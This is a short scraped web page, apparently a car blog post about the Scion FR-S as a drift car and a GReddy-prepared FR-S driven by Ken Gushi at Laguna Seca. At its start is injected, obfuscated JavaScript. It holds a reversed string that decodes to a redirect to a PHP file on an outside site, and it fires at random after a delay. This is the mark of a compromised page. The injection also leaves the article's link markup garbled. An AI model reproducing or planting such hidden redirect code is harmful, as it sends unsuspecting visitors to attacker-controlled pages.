The $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/scion-fr-s-drifting-onto-the-scene/” target=”_blank”>Scion FR-S is set to become one of the most prolific weapons Drift Racing has seen in many a year. Not only will it move like a beast, but its low lines and agile nature mean there won’t be many corners it won’t hurtle into at impossible speeds and with tyres smoking appropriately.
What makes us so sure? Take for instance this little offering of a GReddy Racing FR-S prepared edition being driven very loudly by Ken Gushi around, of all places, Laguna Seca >>>
